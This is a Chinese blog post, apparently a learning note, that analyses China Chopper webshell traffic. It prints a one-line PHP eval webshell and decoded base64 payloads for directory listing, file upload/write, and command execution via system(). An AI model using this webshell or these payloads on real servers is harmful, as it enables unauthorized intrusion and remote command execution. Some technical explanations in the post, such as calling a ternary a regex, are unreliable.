• 中国菜刀原理


    用了菜刀用了也有一段时间了,感觉挺神奇了,这里做一个小小的探究吧,起始也就是用鲨鱼抓包看看软件是怎么通信实现的,不敢卖弄知识,权当学习笔记了,大神路过呵呵

    这货就是主界面,环境啥的就随意了,IIS,阿帕奇,阿金科斯都可以,我这里用apache,因为之前搞的是PHP开发,对PHP相对比较熟悉,随机就用PHP的一句话来做实验了,Asp和jsp的原理应该都差不多。

    服务端的.php是这样:

    <?php  

             eval($_POST['op']);  

    ?>

    客户端连接设置好URL,密码,连接好之后。我们开始实验。

    因为右键点击菜单有很多功能,我们就按功能来划分章节,一个功能一个功能的分析。

    1. 自写脚本

     

    这个之前分析过了,直接粘贴过来了

    一句话木马的核心就是:

    PHP eval() 函数

    下面是从Manual上抄的:

    eval() 函数把字符串按照 PHP 代码来计算。

    该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

    eval(phpcode)

    print("hello PHP!");

    就从一个执行简单命令的这一点入手,抓包分析:

    这个中国菜刀发送的HTTP包的数据部分:

    op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

     

    这是服务器返回的HTTP数据包

    357273277->|hello PHP!|<-

     

    可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。

    用base64解码工具解码,得出上面HTTP包的数据部分为:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();

     

    1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能

    2. @set_time_limit(0);防止像dir、上传文件大马时超时

    3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了

    4. echo("->|");没啥好说的

    5. print("hello PHP!");输出字符串

    6. die();人如其名

     

    其他的指令也是同一个道理了。

    eval会在执行完指令后将结果回显给当前这个HTTP连接。

    感觉自写脚本不是太好用,因为要自己手工写如PHP代码,对格式的要求比较严格,不然eval就执行失败,而客户端的好处就是把底层的代码逻辑都用UI封装好了,所以我们现在开始研究其他的功能。

     

    2. 文件管理

    2.1 列目录

    右键点击文件管理,记住一定要点击更新缓存才能抓到包,因为菜刀这个时候显示的是上一次的缓存,你要更新一下缓存它才会重新发送数据去获取最新的文件情况。


    可以看到菜刀只发了一句话(果然叫一句话).

    [truncated] op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA%3D%3D

    通过上面的实验我们知道,这一大段baseCode是好几条指令合在一起的,为了能看清功能,我们人工把它们分成几段来看,我们都知道base64的编码原理是把3个字符编码成4个字符,所以我们分段后的个数一定是4的倍数,根据这个原则能很快的将指令分开来。

    还有一点要特别注意,我一开始直接用php_decode对这段字符串解码时,显示的一直是乱码,想了很久也不知道怎么回事,后来看到网上说到base64编码的原理才焕然大悟。

    http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html

    原来是URL编码的问题,大概是这样的,因为现在web环境中URL中出现中文等特殊字符是很常见的现象了,这个时候浏览器会自动把这些特殊字符转换成相 应的URL Code。而这些数据发送到服务器(apache)之后,服务器会自动先将数据中的URL Code转换会对应的ASCII(注意,就是转成ASCII,之后你要把她当成baseCode是你的事,对服务器来说这时候她就是一个ASCII码)。 所以说,上面抓的数据包进行URL逆编码后为这样:

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA==

    用base64解码后:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
    ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\inetpub\wwwroot\

    前面几条命令是说过的,我们重点看:

    $D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
    ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\inetpub\wwwroot\

    对代码进行一下整理:

     

    $D=base64_decode($_POST["z1"]);
    $F=@opendir($D);
    if($F==NULL)
    {
        echo("ERROR:// Path Not Found Or No Permission!");
    }
    else
    {
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F))
        {
            $P=$D."/".$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R=" ".$T." ".@filesize($P)." ".$E." ";
            if(@is_dir($P))
                $M.=$N."/".$R;
            else 
                $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    };
    echo("|<-");
    die();

     

    从W3C手册上抄来的:

    opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。

    若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 "@" 来隐藏 error 的输出。

     

    readdir() 函数返回由 opendir() 打开的目录句柄中的条目。

    若成功,则该函数返回一个文件名,否则返回 false。

     

    fileperms() 函数返回文件或目录的权限。

    若成功,则返回文件的访问权限。若失败,则返回 false。

     

    base_convert() 函数在任意进制之间转换数字。

    语法

    base_convert(number,frombase,tobase)

     

    filesize() 函数返回指定文件的大小。

    若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误。

     

    从代码可以清楚地看出,在接收z1=C:\inetpub\wwwroot\这个参数后,代码打开指定目录的句柄,然后进行循环扫描,并附带上权 限、时间、大小、日期这四个参数,用 制表符拼在一起捆绑发送回客户端,这是一种很常见的做法,将所有的需要的参数用一个定界符分开然后捆绑发送,到客 户端怎么做呢?根据我自己的C变成经验,一定是用string_split之类的函数分开来,再循环一一显示在UI上,如果想要深究可以用IDA和OD逆 向分析一下。

    执行完这些代码之后,就完成了列目录的功能。

    2.2 上传文件

    接下来看看webshell最重要的功能,上传文件,这是进一步横向渗透到基础

    话不多说,我们先传一个图片上去

    这次的鲨鱼抓包看到了是2组来回对话。基本心里有数了,好,我们先分析第一个包

    第一个HTTP包从鲨鱼中导出来 是这样,做过web开发的都知道,当表单中加入属性enctype="multipart/form-data",传输方式为post的时候,我们上传的 文件会被编码为base64然后(根据浏览器可能有压缩)和HTTP头一起构成一整个HTTP数据包发送给服务器端。也就说,后面的这大段数据都是我刚才 上传的图片。我的感觉就是菜刀客户端是在模拟一个表单传文件的行为,模拟出一个文件上传的POST数据包,发往服务器,个人的理解,不知道对不对。

    为了验证这个观点,我们对数据的开始那部分进行解码:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace(" ","",$c);$c=str_replace(" ","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

    整理一下代码:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
    $f=base64_decode($_POST["z1"]);
    $c=$_POST["z2"];
    $c=str_replace(" ","",$c);
    $c=str_replace(" ","",$c);
    $buf="";
    for($i=0;$i<strlen($c);$i+=2)
        $buf.=urldecode("%".substr($c,$i,2));
    echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
    echo("|<-");
    die();
    &z1=C:\inetpub\wwwroot\1.png

    &z2=..................... (后面跟的那一大段数据都是z2)代码基本上来说最关键的就是那个fwrite,就是将我们指定的装满数据的缓冲区写入我们指定的一个路径中。只要 apache用户在当前目录下有写权限,php调用win api的时候就能完成写操作。

    还记得之前说的文件上传客户端和服务器进行了两次交互,然后再看第二个数据包的内容。解码之:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
    ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

    不用再整理了,就是和之前的列目录是一样的,代码重用了一下,本质上就是刷新一下。这样就能立刻更新本地缓存,显示出刚才上传的文件。

     

     

    3. 虚拟终端

    这个功能也是菜刀很逆天的一个功能,效果和我们进行溢出攻击后获得的cmd shell一样,感觉很神奇,接下来探究一下它实现的原理。

     

    还是老方法,先运行一个dir命令,然后抓包分析之。

    解码之:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
    &z1=cmd
    &z2=cd /d "C:wampwww"&dir&echo [S]&cd&echo [E]

    整理一下代码:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
    $p=base64_decode($_POST["z1"]);
    $s=base64_decode($_POST["z2"]);
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
    $r="{$p} {$c}";
    @system($r." 2>&1");;
    echo("|<-");
    die();
    &z1=cmd
    &z2=cd /d "C:wampwww"&dir&echo [S]&cd&echo [E]

    继续从W3C上抄函数声明:

    dirname() 函数返回路径中的目录部分。

     

     

    $_SERVER["SCRIPT_FILENAME"]:

    当前执行脚本的绝对路径。

    如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。

     

    substr() 函数返回字符串的一部分。

    substr(string,start,length)

     

    string system(string command, int [return_var]);

    本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。

    如果return_val存在的 话,那么执行的结果信息将被写入return_val中,@system($r." 2>&1");;我们都知道在C语言中,2代表错误输出流的意思,PHP是用C写的,当然也继承了这个特性,那这个意思就是执行系统命令, 并屏蔽错误显示。

     

    $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";

    这是一段正则表达式,用捕获分组获得字符串中的参数,这里也就是 cd /d "C:wampwww、 dir、 echo、 cd、 echo。

    注意上面system函数的声明:若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。

    这就是说,我们指定的这个命令会分别执行,然后输出结果

    基本上就是这样了。

     

    4. 数据库管理

    这块因为我自己也没搞清楚,先留着吧,过段时间再来研究研究。

  • 相关阅读:
    nproc 查看系统可用处理单元数
    c++内存泄露的坑
    内存泄露脚本
    c++内存问题(转)
    tmp
    kprobe
    内存对齐算法
    正则
    P3261 [JLOI2015]城池攻占有趣的做法
    CF1620C BAString题解
  • 原文地址:https://www.cnblogs.com/milantgh/p/4285735.html
Copyright © 2020-2023  润新知